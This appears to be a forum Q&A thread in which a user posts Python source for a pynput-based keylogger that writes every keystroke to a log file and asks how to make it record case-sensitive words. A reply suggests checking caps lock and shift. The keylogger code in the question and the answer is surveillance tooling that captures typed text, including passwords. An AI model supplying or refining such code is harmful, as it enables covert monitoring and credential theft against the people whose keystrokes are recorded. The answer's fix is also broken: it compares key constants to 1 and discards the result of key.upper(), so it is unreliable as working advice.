Reputation: 472
i'm creating a keylogger in python, the thing is
Problem cases :
it didn't capture as a **word/sentence**
no **case sensitive**.
Logger Source code
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' )
def btn_press(key):
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
test case :
"HelLo LoggeR"
LOG file/output
'h'
'e'
'l'
'l'
'o'
'l'
'o'
'g'
'g'
'e'
'r'
**Expected Result should be
LOG File/out**
HelLo LoggeR
any modification to improve this feature
Upvotes: 1
Views: 564
Reputation: 30
to improve it, you could check whether the caps lock is on with the attribute: caps_lock or if any shift key is pressed before recording the letter with the method: shift_pressed or you could use the attribute :shift which is a generic modifier to identify if any shift key is pressed.
the modifiers doesn't really determine whether the key is being pressed physically because they're use internally within the controller but that could be a way to determine whether is pressed or if the attribute is set to 1 or True.
from pynput.keyboard import Key, Listener
import logging
#log file path
log_path=""
logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG,format='%(asctime)s: %(message)s' )
def btn_press(key):
if Key.caps_lock == 1 or Key.shift == 1:
# set the key value to upper
# your code here
key.upper()
logging.info(key)
with Listener(on_press=btn_press) as listene:
listene.join()
for more information,: check the documentation even if it's not very well covered, it might help you
Upvotes: 0